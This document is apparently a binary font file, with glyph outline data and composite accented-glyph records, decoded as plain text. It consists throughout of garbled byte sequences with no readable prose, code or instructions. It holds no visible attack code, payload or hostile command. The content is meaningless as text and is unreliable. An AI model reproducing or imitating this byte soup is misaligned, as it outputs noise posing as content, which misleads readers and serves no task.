%/��&C3������J�sE^?(':,A<4�(")73:TzZ�4�s\p�#".54>7&#"'>7332>54.'#".54>7.546324.#">4.'326�S���Z'OwQ8XB,.=GLG>*,;$)f��x�]&2P9%?U04Q7 D>/@'pipy'?/R�~eH&�4,),($.8	/)/6+&?O
���lw��`���N#16�
	
a?���R���GS��T��t3<'A02E*!48C0-04YllY664Yu���a$(#&*3*#�B798545",(�3Ae%+".5%;2>54.#"#5>5'.#"#".57332>32>327m�jk-cbZD)6( 9Q2`2H2%007�
.8/9"#+6$+R?'�&'**/27@a,9H-EtT0f��M4L^q@
8=7H]=5_H*#9INK,/>$&2/
�/1.,*.2/�DP6pR5AhJ��?:1~W6WS2A'%V�in�3Aau#".54>732>=4.+532>54.#"#".54>32>324.#"32>K��om�{S2?`D%NyT;cG((A1=<7M/,M=%833
Iw�Qc�r>>u�h"POJIKE`�r@8c�NI]5�0R>GY21XFCU/5\�k;->FM&*=-"0e^L6!>Y8v2M3T'Z�lGjF#"+;K/��`#Gx�Y^�zG$;-*;%?p�]i�^5%Bj^]}K )RzPTT*(R�n�3"�B#".54>732>54.#".54>32'%3"9o�jm��N.Qn@;+'HgAN_47\u=$:)(_F;'6\xA;\OG'�K�x[�yFBs�]EmQ1	F)�aKkE +PnD-%C3&B40'
�7NjF>oS0
$?2����n�>oA`'>54.#"!5>=4.#"#4.'.#"'>7.54>32>32o(Y�d&<I'
/S@>^A!��8ZC@U3*MnDC��}]7�-S�]&*VK9�/�yM��QBw�bo�&H`p8^�m<�T�|l0`)GTlOQxP'5U=(L&**&L(=U5*S|RJ�xf))DGRl�a.MB::=",<!�<9%r��ru�g/uq5U< 8k�P�3	@=%#".54>732>5#".54>7332>53	��`��N$GkH6W?Fe?$�XZ�xF EmM�3G-0K45aJ,��,Nl@IhE(L'4>#!B6"'Gd=UR@n�UKmXN,,TV[2EwX38P2�4�K_#".54>324.#"#54.#".54>32>324.#"32>4D}�oLhO6I~�b,YL9/= $(�
5'3*4G,+FY.b�4EO'DoN+�*Ie;G[4:bJA`@�]�K-Ok}�Di��M)=J!^$.	5P6xx6P5
).<%M8@CE^9vi0R<! U�t�\�_16a�S`�s?Y����B�C>54.#">32+532>54.#"#4632i

&?.&8%6C[CX�vF)FZde-%)NE05U<9kS1�̷KrM&"8H&�%-3"=-CkN�c+C.C|�kW��jJ(h7r�wR�e9%@Y4�K��%@Z41PA/n�3@Y%#".=4>7532>7332>54.+532>54.53a��b�ϐN5WA,DBG/"VTGb6=+RxMOvO(%BY3��);&'9D9'r 4BEB4 L�c$QOH7 m�x@d�醢W���;&5(�'j k��D��h��K-SsFR�h;k1Q<-H>9=E++:)#4I5,UF5
'8Qpn'� 4#"4>324.#524.#"32>'E|�j��6N`q>5aRA,3?|b=�,OmA9P3;aI;^B#�t�DB�veK*$>S.
P[-V2^�U��f�|F>o�Xm�g2!S�d�*a�\|'>54&#"#54.">32#>5<'.'.54>32>324.#">a$4!"	
G?LN�2Z:"
1��O�k?
+ `ps_>_%.
!JwUTk*:L3Hc<��.E.<jP.
	%SNA"#�)A81-+.<*H9��!1 7S8-3+u{s)s�;j�WIXj?7����c9r3g���xe���9o�m6\[2F+4Q��<dH((F^5&.<*b�o_4>"3jidZ_flZ�4A�p�%#".54>732>54.54>70#".54>324>54.''>73%%5.#"2>��+@K@+R��Vb��M4Un9&$A[7M_5-6-L&KJ$4V=""?[9CJN(

-M<!-�DF?E(TOG5')
5��F�6;; 2?=6��HfPEOcFy�h.Dz�e?eI-=<Pc<;Z> /K`0Fr`RKI'1DZ;Z-F,4MY%,^M1'<J"=mbZ,+W\c8:^JT;VvQ.GAANaA-kfV��^/��=*"!0881!'3��w�2F#".54&#"#54632>74>732%32>54.#"wR��id�q< ,Mdr3P7*i@*G^4*GU.	N�~O�voTl?9U76fN0:�و=R��l�)1-qmocO�p�]ES
TvQ3�18?!@���Ӊ�:Z>?w\8#A]2�3EA�%#".'72632#".5732>54.#"'>7.#".54>32>54.#".54>3232>54.'7E#>S1'PQQRR);YC2	BC?16f�Z1[F*H2=5J."2!DKn�O(>>D.-$03X<<)CV,[�nV&+]ZR=$#0!j*?K"2XB&,Jbmq4#/:<;$3*J1'�8\@#!=f�g$<=E-
+=P2JtQ*3K1%(E6-M8 	
Bwme1��c'&;R*p0�K4\F)@y�n#$*8N5!	2?*/+*B-:Z>;T>/-1 QZZH-/$!�(8Kn%�j#".546732>54."532>54.#"532>54.'.5332%I|�Y8wocK+fn"
,PoCEY3 1;6~~
=6% 2:tt		@9'
/aVU~T)�#:,p�qF&
0L^/2aM/&Ec=:gL-�k�g2$<WvMh�)1%4I1FhE"!DiGXqB
4�&/H34J02�/ <2+:%$F>#
)5B&$8-"%5G-.L:*
CV`ne�j4&#"3>#".54>3 #32>54.#52>54.#52>54.'7bCO0;!
TnA%;I$>2 !3@?4!�n��J'S�[-c�s*LoENb8)OM&>-0=NR*E2->%"BGE6"�OH&NxRk'6Sn+RG6-8B$@:3/?N0��*sʡ���?��K`F9"���W 3?3Q:(�:/< B6#7�2#8F#`�bH!*7GXjn�F$A0E33267".'#532>7.54>324.#";2>$ HrR?A?/lx�E
7qtx> FHEVzN$O��_Y��O�8[D?^>,CQ$+TA(ZZ��r0�%8D ?:+�
4x��Wp�~DG��lp�O!S�i��o++o�n�3%�V2>5##".54>732>73#".546732>574.+5HD�e=+;FNJCP�mA
�% 'I<K|hU&�0BJQ'��H~�ec��K��#8]F0ZE+8Z@_�Ju�F'"7`L%9-%@&E*/(;X:p�}X?,6̐cb�o<Hv�P��?
<LR$AmO,7\E�AkM*hn�3"�[%#".54>732>56&'5>54.54>2.#""?w�kR�lQ6'LpH$"DbALY.jp}�;L-3SkojS3>e�{eF
�#9Q9*VE,>f���f>��:iQ0x�}?'AV\\(MrP2G'=YBMkE4ZyE
��6�-0E*L`=%!(DiSNoG DqU";N..C+GV4 <bOt�7RrNn��#Q#"32>54.#"3%'#37'##".54>$735#"$.54>323@8z�e,#EfB*N;#$A[6;[> -Lcjk.�QllSSl/d�mr��HQ�����ND}�kw�j1lr AcDAY6/$7!,7ZBAZ:C�8�L�D�P�b85_�Q]�[1�*Y�bQ�_4/\�V��n�3�`d4.#"32>".54>323>73>32#"&'##732>54.#"3� .:C&%OB*/K]/4R8�oc�wBEz�a8BH".RB;?B b�xD?s�i?�3��T-'3542S;!:S5&`�[5	'QG�O:M-\��`8�И�ς;
h�P'	*&+�	;ʏ�Ղ8���e/Mb4K/D-[����\n�4�UM#".54>54.#".54>3232>54.'7�`��]=~viN.@i���i@'AV/nf�(55c�[G�h?7ZtxtZ7#IsP<lQ0%?fG'3n�c-9Qi~I^�pUIAFQ5FV-Q_j YC1hV8'Q|UGq\NJMZmES�W-&Hg@>SC>(A P^k��3:A;332>54.'3#"&'32>54.'7#"&5��,Ja5<M+>]=�[�T(Fx�ZW�#{�?W6"]~L N��`��,�O2ZD(!M|[TrS?!!Rf|KU�f8JT��z�.H5"C7&Z7Kb=@mO-��n�3�K6H4>3232>54&'7#".54%5.732>54&#"nV��bsŐQ"V�n]�O#o[3W@$$*@:(=m�[O�_4X��N�#EhEW{N$��MkCcs�~BCy�gS�|m2+URM#QR1&*7i5N45YA$*H_5�q'
Kz�bZ�e50g�q��/`�n�r#A<'>54.#"'.'.#"&5473.54>32#�r

1bU9dI+)PvM(H<,
�-(@9,-�ChG%F~�i_��M�n�?X-e?6lW6DpQj�^H*BXqGN`:
#6@A4e2,\l�R`�g69g�Z$�(:7.54>32#"&&54>32#"&&4>2#"&g''' 7�''' 8�','' 7D
*))%�) ))%�.)))%Z�z�
14#"32>7! 4>323267#".#"3632񈅅27����(JkB
"&%<-#='2!0%
B6������ 8L,��	1S;!

B"#-����'	3!53'!3!53!�y��S�PS��qw��Z�'�Dkk��kk��y����'##5!!53#5!!53!535!3!53#5!�j�jj���j�C���]��hw�z��M'�ߦ�����r�z���j��kkQkk��f��D
8?32654&#"'>32#!32673#"&'#"!54&#"#>323267U퉆�ts�mS�}�������t�_`�V��7J�u���y��+�z�������vzo��F[X����Ix�cc�))WZXY*��}��[�Ժ���Ig' ( 3##!53#53#53264&+3264&+�\@��d������_�jsti��u~v�'��[;
jE���j�jHj�[Y�Z��p�nf���D32673#"32#.#"=����ke�e���e�ek�����瀌��0/1�1/0���IY'%326&+53#5! !�|����|�����V����j���CjSj����IY'353#53#5! !'326&+3#I�����V����H|����|��jvkrj����j����k;�'#5!!53#5!!53!53#5�j�jj���j�C��'�ߦ�����r�z���jSjf���D22#"'&'53327654'&+5327654'&'&#676���KL��LK��T__hc
>>ul:9FG�&&�GF99ms|�[YD��gGGHGf��%�]-.43_j45d45i`32\|�a_J�J`-
#"&5462#5!#3!�C/.CB^C�������.DD./BB�jj��k���'7533265#5!##"&rXXw^�q���G�'�ca���kk����"��F�'�/$'353'7#5!#%!53T��F�4�DF�v�jjq\��jj���\��t�����J�'�F���'3!53##5!#!C������e��&���jj����jj�]
j��f��jDR���D4&#"#>32#"&'3326>����ke�e����e�ek�����瀌0/����/0���f�4&  67 54 d�8����b����2�2����ؘ��������e8��%.543 !5>54& ���3��1/0���4�|}8'ް����e�ek������w�$��0	+>54&#"3267#"5467'7>32�99��Hv1g=;��Ly3�J�v���56�?�M�s�232�?4&pJ��-(oJ��w>@�^�C�L�=>���^�@�Lf���D(/" 6&!54&#"#>32>32#"&'#"73267����(���R��y��,��IEς�����FI�z�������8����F��}��ba`c����c``c)�����<���D!654#5 ! 4%&54!"254%!��~��<��T�#d����v�acg�k��t|�����zc��k����^d��fjD4& #4 ���ؗ������2��f��j 653 5=�(���.�������2�l$'#!3!53#5!23264&+$��������t��Z�mefl�s��jjSj�u�ry'(&'&54763!#3!53#"!53676%#"3�z=>TU�^���!�zEP0��ᑍ$$��k4332m??f�JJg��gg�:b��g I Kk32�33y'(&'&'#5!;#5!#3!"'&5476#";�2$$���0PEz�ߧ����UT>=ʭm2334k� I g��b:�gg��gJJ�f??.33�23��S'����'$ 65#5!# &5#5!#i�Ǧ���j��kk������9kk������i!53##!#!2654&#!��j�jo���kk���cX���3�j���^`z�������i14632#"&4632#"&!53##!#!2654&#!�E03BB30EE03BB30E��j�jo���kk���0FB42BE�/EB23ADX���3�l���`^z�����\�p0#!#3!2654&#!#3!2654&#!#3!53#�uw���jj%�����jj,�����jjTi�jp{�5�n�����`o{����`o{�������3�d|�����'Y��!�'Z��R�']h���'##5!#!#"'&'53327654'&2��jf�ʞEiy{�vjnei^Y��W5JMVc�#V�k4O��NO#�c85R2Ot<>d���� !253# %5 5!"#563 ����1�`x��`1���`y����C��ղ�B?MC���B<���D"3327.54 32673#"'#"&'<k��tMp�'�pMt��ke�e����e�eR��Rb갫�����bR����0/ZZ/0��;�'�����'N��J�'9��l$'Km(/54;#"3!535$'&=4+532#5!#676-��I?_O����N_?I��C+����0C���je��WK
�jj�JZ��ej�ύI/Hkg��0D��$���'������!5333!53'!3Z��ISOjP\��iO�tNg���C;	��;;��;�����#!#535!3!53#5!#5!!53#5!!534?8w��`g��Rt��M�N6NN���N���;��;;�<�u��i��i��u�G�e�#3264&+532654&+53#5!2#?�rhhr��g__g��xxю�d`w|���X�V<FLMF��;�<hgJY

m\|vA���$.53#53#5!23##'3264'&'#53676'4&+Gx~~xю�2��>����qi4!;��30_g��;gF <hgJ,
F
7\|v;X�+
F#LMFG���32654&+53#5!2#?u��øu�xxv����׺�����;�<����G�G�53#5!#5!!53#5!!53Gxx�M�P4MM���N�;�<�u��i��i��u�G�G�!53!!#3!!#5!#3G�N���NN4�PN�xx��u^iiu�<�3H���.#"32675#5!#"$54$32:�}����G�:�1T�n���P�a�id�����<��++����!!�G��53#5!#!#5!#3!53!3Gxxow�woxx��w�w�;�<<��!<<�3;;h��;G���3!53#5!#?w��xxow�;;�<<�����533265#5!##"&lG87K;��x|�-\ԃ77Tz�<<��|G���53#5!##5!#	3#3Gxxow�f8j�m�k�Bw�;�<<��<<<��n;���;G�:�
53#5!#!53Gxxow�N�;�<<�=��@���53#5!	!#3!53#3GxJK~y��w��Y��x�;�<��S<�3;;���G�y;?�0�53#53#5!##3?�4~J~M���;�<�lX<<�����;?�0�3#3!53##5!>�~~��x��Lv����;�2;;g�N<<H���	 654& "&'.5467>32v6���ʝ8`�=GEEG=�a�EG>�ȼ�������86?�ef�?77��d�>774���!65452! 547&743"254'�͗�����έ�s��߱:NBr{<�rRl��ރ`K[�<�n�HJ}�G�6�32654&+53#5!2+3?�^bb^��xx�����őFZUVY��;�<���;G���#3#.+3!53#5!2%3264&+j,@�rݓ*G>����xx݉�m�i�_ZZ_�;3.�;
M.��;;�<tkWcP�O
�P�53!#5!#5!3�y��MCN��x�;Ƃ�ł�:;<��#5!# 65#5!# &5�ypxv vx=w��t��<<�P���<<�E�����*�###5!#3#5!#�g��g�^Xv��f��m\���X<<����Sq<<@��	'5#"2673#5#"&546;54&#"#5>32�VUV�Xth�&eCp����\TER
<<r7��W~BD?HO���;@)'iZ\f)DJ87y{@��	*32654&"#53>32+32673#"'&�VUV�Xth�&eCp����..TER
<<:87�HI4~BE>IP�9;@)(jY]f)C&%87x==@�'53#3#5#"'&63254'&#"32761�oo�"45M|ON�}M54"..XZ-..-ZX..�]<�$;]8WW���;k98?>|{@?89@�|
7>32654&#"'>32+32673#"&'#"&'!54&#"#>323267��VUVIHYE4�N|����ZQIS
<<r6Yz#.yJ���edMa\�yL���[VP]	4~BE>IP'32f�f)CK87x0312��x{GFbc3��hjkg%�� #53>32#"&'#5732654&#"�p�"iM|��|Mi"��\XY\\YX\��;��86���58];�kq{|}qk@� 3#5#"&632#5354&#"326�o�"iM|��}Mi"m�t\XZ[[ZX\�;]85��686;��;kq}|{q@��!32673#"&54632.#"��
fcMa]�z�������\UP\
�x{GFbb�����chjjh@��!!54'&#"#67632#"'&73267@�33dL11]KKy�YY���QR�.-VP\
�x>=#$Fb12WU���SSch55kg@�U1"&54767&'&54632#&'&#";#"2673T��0/UU/0�|5<<A>''ID%$,-WW-,HEHN
^98�VO:'(
((9OW
x45<8;683FI65@�U02#"'&'53327654'&+532654'&#&#>B��/0UU0/�|5<<B?''JD%#,,WWX#$EIN_rWO9((
((9OV
y46;8:;64EHl@�+#"&'53326=#"&632534&#"3265���By8=TOf_"iM|��}Mi"��\XZ[[ZX\�����};5fnP85��68]<�kq}|{qk/��	#"&4632#5!#3#0***jmPoo�4&&4%�<<�$<%�!53#53%#5!#3!53'3q��ip�a/r�a��_�[h�;�;���<<���;;�L�/��0>323!534&#"3!534&#"3!53#53>32�"hEihh��e=FMQd��e=FMRe��io�!c?Ni{BCtu��;;4[Mhc��;;8YKhc��;;�;j<?E/��'53#53>32#"&'5332654&#"35io�!fDn55{l-S'<6496<MPUe�;�<j=>97y�K\i{62DI�mQhd��;@��26&""&6 '�__�_����&�����������@��>32#"&'53326'&#"@�o�YXXY�@~@D
-,R^`0/_KY=_dVV��VU�N$$�AAEF@��4&"#46 @_�_��&�ƀ�������@���2653 &5�_�_���ڱ�������%��"32654&#"'#53>32#"&'3!53	\XY\\YX\tp�"iM|��|Mi"m��p�;kq{|}qe<]86���58��<<%���#53533#32673#"&5�ffu��!,-*WY[eS�<��<��K+05QKO^#��33#5#"&5#533265#��n�!fCpih�<LQUe��;i;>py><��mQjdS{5!53##!#5!2654&#!SZCvCE~���C�z[vq���a�[;c^]�6DHKZ/��/#"&5#5332765#5332765#533#5#"'&6!44Eihh�=FM()e�FM)(d�o� c?N54 A!"tu?<��\M44d<��Y&&44d<��;j;?#"�����#5!##53#?�L4k��d�K��<<�g�<<��&��"3327.546232673#"'#"&'&C
YSI0Gz���{G1ISXC@~?`]]_@~?iNH.7�c`��_c�7.HN�22Q��-32654'&+5327654'&47632#"'�3\`p9;m<P7.19�t�K4vK<,+OrB@��f'�!cWu24<)"Y',I��B�SA8P/.=<�}
�/���'&7#53676'&'53�'%+C!X�o֣�GI@Σ=09A�<��v7&<	!'!/6l)@��"*&'&54632&'&"32#"&7626&"�+|{"BBFD--w+.0>������Y'g�__�_�MHL	
o2%5*��䬬V%�����9�O)7#5&'&'&'&747673547676567654'&#"�t}&,-))&kF>*"!�0�}A*)1)&|�#70"��'$="R�IA+!9 �h?;
�~BmqG�R"=$*=
8=j{=??*����5!53&'&'"#5676727#5!#327673"'&/E��W�T&;  &-0B�P+R�T&<  &,0B��<<�7
&rC�<<�v�8
&qD����/L��d��._eu�d��#��SC�d�����SF�d��Q�!�~H�d��/� �cI�dQ��d32654'&'"#4767672#"&'�]XY[-6QT3.t7=*8Q���{Mj"G;lp{�:D>9�_�E@���58��9�!OfK�d����tL�d7��eD)0"&'#"&5#5!3265#5!632!32673.#"yz�NS�}���__z���X����碞y��,�R���[X[X��9k�����kQn�����}�������f�9�D+4632#.#">32#"&'!532654&#"��i�X`�}��6�{���{�6��h������������&&�h`�ďd_����_d�kt���������G��J`'%3!53#53#5!#3#���갰�����jjjxkokg��kJc'53#5!3#7"'&=J��h��*+\�b]�kok�&k��<>c^Y��;�V1D(1#5!>323#'"&'3!53#53!3276!&'&#"�i6�{�|n{zp|�{�6��鱱��ē��H@��<@H��JH�k�d_���k،�_d�kk!kk��qd"�aped���'#$ 6=!%53#5!#!#5!#3# &=i������"�Ǧ����j��&&��kokk��okk��k_����_���'+3!3#"&'&'&'#536767!5!!&'&'5!! 76���A+��**QH�ֹJS*)��,A����w=,�,=v��pU[&ZV�@|Raki`bJCGFDL`^kkaR|@kk.~ZiiZ~.k���ippj��9R%3#"&'533276=!53#5!��ëH�>_UR[++����ijjh��!!�`Z><�hj@j@�%#53#5367632#"'&32654&#"#�oo�"54N{NO�|N45"/.XY\\YX./�]<�;]8XW��";k89~{|~88@��#"&54632#.#"3267��o����@~?C
YS^__^KZO`c�����NH����FF@!�.354632#"'#7670'&547632#&'&#"*WeFrTO���`DHYYY�@???C
,-S^/0�5=FJ�o(0QQ9,
W��UV
�N$$@A�Y@��-.#"32654&#"&54632.''7.'773mhcY[aDsv������/!. ��'c;K�:��x~u��x>w^�y������<S+L!-05&T,@�U1"'&'3367654'&+532654'&#"#567632B�99_NIE$#,,WWX#%DJ''?B<<5|�/0UU0/��56IF36;8:<54x
WO9((
(':OV/�+#.#"3#3!53#5354632+=42A5�����oootq*T*w*+?QM<�$;;�<Kcf
���y�#533##"'&'533276=#53�n�hh==l.))'<63:���<��<:\54
	{62"#H:<@��'!##"&'53326=#"&5467#"3265Y�o��By8=TOf_"iM|��U�Z[[ZX\�<����};5fnP85��|����}p{qk#��3#"'&5#533265#533#'�n!fCp45h�LQUe�n�n�;>88y><��m()jd<��</��3!535#535#533#4762"'n��oooo�nn�:*);�;;�;�<��;�4&4%/���
#533"'&�o�9l>:aR<�rJ!#751/��3!53#5!#n��ooPn�;;�<9H���535#5!#3#3!535HnnPnnnn��n�;�<9�;�;;����c�%#'#"'&#53'&#"324632"'DG?_��wFm�|$fFhP**<�7%*+p� G<�s@2D6�4&&4%�"#53327673#"'&5�p�94<'*)-l>=�;�_I""6{	
45\����v3#"&'533276=#53#53	m{k.R'<549�pp��u\i{62""I:;�;5���
53#5!#!535xxow!N�;�<<� ��/�<D#"'&'5332654'&#"3!534'&#"3!53#536763267632<=>k.))'<3:6FM)(d��eFMRe��io�!12?N45"35Ei44b\54
	{6DI�['&44c��;;8Y%&hc��;;�;j< #"@B!";9u�/��13!53#"'&'#"&5#5332765#5332765#535o��m c?N54!44Eihh�=FM()e�FM)(d��<<-;?#"?A!"tu?<��\M44d<��Y&&44d<���+#"'&'533265#53676323!534'&#"==l.))'<63:6o� 43Dohg��eLQTb\54
	{62DIQ<j=rw��;;m)(hd�/��-4'&#"3!53#53>32327673#"'&5?MP*+e��io�!fDn5594<'*)-l>=�m)(44d��;;�<j=>97y�KI""6{	
45\5��53#53#5!##35WW�(~JYq���;�<�Nv<<���l;@��2767!'!&'&""'&76 '�0(��)0x+0�0+��YYXY&YXXY�B7dd7�p<AA<�AUWVVVV��WU@��#+3!535&'&7675#5!#'676'&�n��okGYXGloQnkFXXFkt4 /0 �3//�<<�DWVD�<9�CV��WC:�+A�A,�+AA*H�T:332654&/.54632#.#"#"/32673#"&5HCYWNR<aSVN�w5u>CUJIKT\^+*�A>7:45<'S-l{HCB42'0J9R]�:A..&('?U`8HE26{i\����&#"'&'533276'&7632#&'&#"L=l.))'<638&C<
K=l-*)'<49%
;bPA4
	{62"->lrQ?4	{6#->��%���&#53533#32673#"&'53326=#"&5�ffu��!,-*Wzl.R'<63:6&eS�<��<��K+05�\i{62DI1O^#��'33#3#5#"'&=#535#53!5#!3276��nnn�!fCp45hhh�.ee��LQ*)��;�;i;>88y+;�<����m()53@��+#"&'&'&54767#5!27654'&'53��`993-;<�v.399a�KM99�8:'&K��#IHX?58)%'&*76>XHI#<]tUh?>>?hV9:]���265#5!#"&5#5!#J�Bii��hEh�Qm<<��xqpy><<��m/���"3#&'&5#537654'&'�Ga893-;<CgC:o�:OF:'&K�#IHX?58)%5.bR<�rJ!"J<kV9:�����3!533#53��L��k��e�K���<<��g<<4�y�
5!#5!!534���C%�\lD�0�g�0�l�4���5!#5!!327673#"'&=4���C%�\�94<())-k?=�0�g�0�uJ!"6{	
44]:42|�654#"5!#5!3632#70h�'Z[����C%�\S����T�0D�0�g�0���lPQ@���!#57!#5!#"'&'53327654&M<��C$�1t�YX�JFFFGnca87r�9�g�0���l�FE �Z]88`nr@��&'&#"!32762#"'&76?+/^\0*w��+/\]0+��YXYX��YYYXn�[ff[�<�[ff[�{z�j{zz{�z{����f73!5���u���������+f!!3�^��u��x����f!5!#���3uҔ����+f#!�^�u��x��2��f	3##3�<��t�̨�t�f����x���2��f	3##����t���t�f������x������&$����f��D&D�9��qd^'
��u%��;���]&E�H<��q�xd�&%����;�x�'��E��q��d�&%����;���'��E��s�u�k&�
|5u��f�uf&��h��q�^'
��u'��f���]&G��<��q�x��'��'��f�x�'�9G��q����&'����f���&G�9��q����&z
'��f�u�&G����q���'��'��f��'�9G��q3Z&
�/(��f��V['
����H��q3Z&
�/(��f��V['
����H��q�3�'��(��f�VD'�^H��q�K3�'��(��f�KVD&H�^��q�u3m'
��u���f�uVH&�^���q7^'
��u)��Jq]&I�5<��s���k&*�Xu��f�9��&J�\��q�^'
�}u+��J�]&K�H<��q�x��'�}+��J�x�'��K��q�\'
{}u+���^&K�H<��q�u��&+����J�u�&K�'��q�C��&+�}��J�C�&K����F�K��&,�������K��&L�H��]�Z'
���,��'
��������qr&.
|L|��;��&N
|?���q�x�&.�I��;�x�&N����q���&.�I��;���&N����q�x�'��/��;�xR'�FO��i�x2&�q��<���xq3&�q�F=��q���&/������s&O�H��q��'��/��	��'�HO��f�k'
|u0��J^f'��P��f�^'
�u0��J^!&P����f�x��'�0��J�x^D'��P��d���^'
�gu1��J�!'��Q��d�x��'�g1��J�x�D'��Q��d����&1�g��J���D&Q����d���'�g1��J��D'��Q��s��Z'
��2��f��j
'
�����R��s��d'
��2��f��j '
}h'jf�R��s��Z'
��2��f��j['
����R��s��Z'
��2��f��j['
����R��qk'
|�u3��;�V�f'��S��q^'
��u3��;�V�!&S����q7^'
��u5��J�!&U�(��q�x7�'��5��J�x�D'�HU��q�x72&�q�<��J�x��&�q4��q��7�'��5�����D&U�H������^'
��u6��s���!&V�����x��'��6��s�x�D'�V�������'
��6��s���'
�M��V������e&
�6��s����'
��R��V����x�^'
��u���s�x�!'����B^'
��u7��;��']'��:<W���xB�&7����;�x'q&W�����B�&7����;��-q&W����B�'��7��;�Aq'�W��`�xb�'��8��7�x�''�RX��`�Kb�&8����7�K�'&X�R��`�b�'��8��7��''�RX��`��bZ'
��8��7���
'
�����X��`��bB'
��8��7���C'
����X�����j&9
}������7&Y�B����x��'��9�����x''�DY��
3k'
~u:��!�d'�oZ��
3k'
|u:��!�f'�oZ��
3\'
{u:��!�!'jpZ��
3^'
�u:��!�!&Z�o��
�x3�&:���!�x�'&Z�o���^'
��u;��j!&[�B���\'
{�u;��j!&[�B����Z^'
��u<�����9!&\�<��\?k'
�u=��R�f&]���\�x?�&=����R�x�'&]���\��?�&=����R���'&]���J���&K��������'^&W�9<��!�&Z�o�����9&\�<��f��L&D����Jq]'�5<A3q!%3!53'75#5354632#.#"7����=ǰ���C�BaSOg**�<�jjj>`V��k����KN8:���fV�Jq %3!53#535#5367632#.#"!!�������F\�C�BaSOg*%��jjjRkkkwE[�KN8)Tk`���7!#5!"3!534>3!#"&'33269�T_���b�^9����;�ޣ5�k0YkZX=%H}�]Y�Sv.%6g��ef.T��g��kk��I}��*FX�Mq�e2?29[:)���f��j-����x��&$����f�x�D&D�9�����E&$��u��f����&D�9�����:&
�$��f����&D
����������:&
�$��f����'
�����D������&
�$��f���;&D
����������u&
�$��f���&D
���������x��&$'����u��f�x�f&D'�9�9�����Z&
�/$��f���'
�����D�����Z&
�($��f���'
�����D������&
�($��f����'
�����D�����Y&
�($��f���'
�����D����x��&$'����u��f�x�H&D'�9�9��q�x3�&(����f�xVD&H�^��q3E&(��u��f��V�&H�^��q3j&(
}����f��V7&H�^��q\:&
�0(��f����&H
������q3:&
�0(��f��V�&H
������q3�&
�0(��f���<'
����H��q3u&
�0(��f��V&H
������q�x3k&('��
�u��f�xVf&H'�^�^��q�E&,��u��J`�&��=��q�x��'��,��J�x`�'�VL��s�x�'�H2��f�xjD'�hR��s��E&2�Hu��f��j�&R�h��s��:'
��2��f����&R
�������s��:'
��2��f��j�&R
�������s���'
��2��f���;&R
�������s��u'
��2��f��j&R
�������s�xk&2'�H
Hu��f�xjf&R'�h�h��n��Pk'
|Hub��c��+f&vhc��n��Pk'
~Hub��c��+d&Chc��n��PE'�'ub��c��+�'�}c��n��P^'
}Hub��c��+7&�hc��n�xP'�Hb��c�x+D'�hc��`�xb�'��8��7�x�'&X����`��bE&8��u��7����&X�H��Z���k'
|�uq��,���f&vHr��Z���k'
~�uq��,���d&CHr��Z���E'��uq��,����'�Hr��Z���^'
}�uq��,���7&�Hr��Z�x�k'��q��,�x�A'��r����Zr&<
~�|�����96&\C�����xZ�'��<�����9''�h\����ZL'��|<�����9�'�<\����Zj'
}��<�����97'�<\qf�
353#5!#!53!q�����{��|jkk����j��;i%3!53#535#5!!5#5!3#!���ұ���i_�i�����jjj(k�j��j��k��(����f��0�&*6|��f��0�&*n���f��0�&*C���f��0�&*P���f��0�&*D���f��0�&*Q���f��0�&*E���f��0�&*R�������&6�������&n�X��	�',C�|��
�',P�����&D�d��
/�&TQ�������&E�������&R�s��e����&.6$��e����&.n��e����&.C!��e����&.P��e����&.DB��e����&.Ql��
/�'�6����
�'�n����	��'�C�|��
��'�P���
m�':D�d��
��'pQ���J�VJ�&06d��J�VJ�&0nX��J�VJ�&0C\��J�VJ�&0Pl��J�VJ�&0D���J�VJ�&0Q���J�VJ�&0Ex��J�VJ�&0Rx��
��'6����
�'�n����		A�'�C�|��
	Y�'�P���
��'LD�d��
	�'|Q���W�'�E�X��Q�'�R�X��J-��&26�F��J-��&2n�L����-��&2C�g����-��&2P�d��@-��&2D���-
�&2Q���-��&2E�L��-��&2R�O��
��'6����
��'�n����	p�'�C�|��
v�'�P���
��'FD�d��
4�'|Q�����'�E�X��z�'�R�X��f��j�&86]��f��j�&8n]��f��j�&8CN��f��j�&8P]��f��j�&8D���f��j�&8Q���
���&6����
��n�&Qn����	����'gC�|��
����'vP���
��
�'�D�d��
��D�''Q���J��x�&>6N��J��x�&>n?��J��x�&>C9��J��x�&>PW��J��x�&>D{��J��x�&>Q���J��x�&>EQ��J��x�&>RE��
��'�n����
��'ZP���
l�'Q�����'XR�X��Z��"�&B60��Z��"�&Bn0��Z��"�&BC ��Z��"�&BP,��Z��"�&BD<��Z��"�&BQD��Z��"�&BE8��Z��"�&BR@��
'�&"6����
{�&"Tn����	��'"jC�|��
��'"vP���
�'"�D�d��
S�'",Q����'"�E�X��G�'" R�X��f��0d&*b���f��0f%��e���d&.br��e���f&��J�VJd&0b���J�VJf'��-�d&2b�X��J-�f(��f��jd&8b{��f��jfE��J��xd&>bc��J��xfF��Z��"d&Bb1��Z��"fG��f�W0�&�2���f�W0�&�2���f�W0�&�2���f�W0�&�2���f�W0�&�2���f�W0�&�2���f�W0�&�2���f�W0�&�2�����W��'5������W��'5����	�W�'5����
�W�'5�����W��'5����
�W/�'5�����W��'5������W��'5����J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���J�VJ�'��j���
�W��'5���
�W�'5s���	�W	A�'55���
�W	Y�'5M���
�W��'5����
�W	�'5�����WW�'5K����WQ�'5E���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���Z�W"�'�@���
�W'�'5R���
�W{�'5����	�W��'5����
�W��'5����
�W�'5B���
�WS�'5~����W�'50����WG�'5r���f��0H&*����f��0�&*q���f�W0d&�2���f�W0C&�2*��f�W0f&�2%��f��07&*7���f�W07&�2-�����i&��!�����1&q�;�����d&b�d�����f����W��'5�������6����W��������2'67&'&5476D'	�JO
1!&6"�7#,��LS#&8F'���J7����7J�&j7V��J�VJd'��j���J�VJD'��j0��J�VJf'��j'��J�VJ7&07x��J�VJ7'��j<���d'tb�^���f��d'�b�^���f��q�W��'5}������'6�b����d�'6�(m����J�'7�6��-�H&2��U��!-��&2q�L����-��&2`�R��-��
��-�7&27�d��-��&28�d��]�m&
��u��i�2&q��<��Dd'�b�^��f������'bn�����v�&m$n�����J�'7�n��J��xH&>�Q��J��x�&>q]��J��x�&>`B��J��x�)����VM�&:6D����VM�&:nD��J��x7&>7H��J��x�&>8<����Zi&��!����Z1&q�;��pd'b�^��@f��
